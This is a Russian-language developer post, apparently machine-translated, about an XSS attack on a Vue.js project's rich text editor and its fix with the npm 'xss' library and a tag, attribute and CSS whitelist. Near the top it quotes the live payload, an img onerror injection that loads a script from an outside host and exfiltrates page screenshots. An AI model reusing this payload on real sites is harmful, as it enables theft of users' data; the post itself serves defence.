Вспомните XSS-атаку, обнаруженную в проекте VUE.

внешний интерфейс Vue.js

Причиной всего является редактор форматированного текста....

При необходимости измените текстовое поле на форматированный текстовый редактор, чтобы пользователи могли вставлять изображения напрямую, но пользователи подвергаются атаке, загружая изображения в сеть.

image.png

код атаки1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

Когда данные отображаются, изображение сообщает об ошибке и выполняет событие onerror, в результате чего текущая страница делается скриншотом и отправляется в указанный почтовый ящик.

Первоначальное решение состояло в том, чтобы напрямую закрыть редактор форматированного текста для загрузки сетевых изображений, но позже этот тип атаки снова возник, и злоумышленник использовал «скрипач» для изменения параметров для достижения того же эффекта.

Наконец, сторонний подключаемый модуль для защиты от XSS-атак принимается и решается путем настройки белого списка, а также выполняется фильтрация при отправке и получении внутренних данных.

Адрес документа плагина на китайском языке:GitHub.com/Лэй Цзунмин/…

npm install xss

import filterXSS from "xss"

Пользовательские правила фильтрации

вызовxss()Когда функция фильтруется, пользовательские правила могут быть установлены на втором параметре:

options = {}; // 自定义规则
html = filterXSS('<script>alert("xss");</script>', options);

пройти через whiteListчтобы указать, формат:{'标签名': ['属性1', '属性2']}. Теги, которых нет в белом списке, будут отфильтрованы, как и атрибуты, которых нет в белом списке.

let options = {
    stripIgnoreTagBody: true, // 不在白名单中的标签以及标签里面的内容直接删除
    whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // 因为上面白名单中允许了标签的style属性，所以需要防止攻击者使用此途径进行攻击
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)
Категории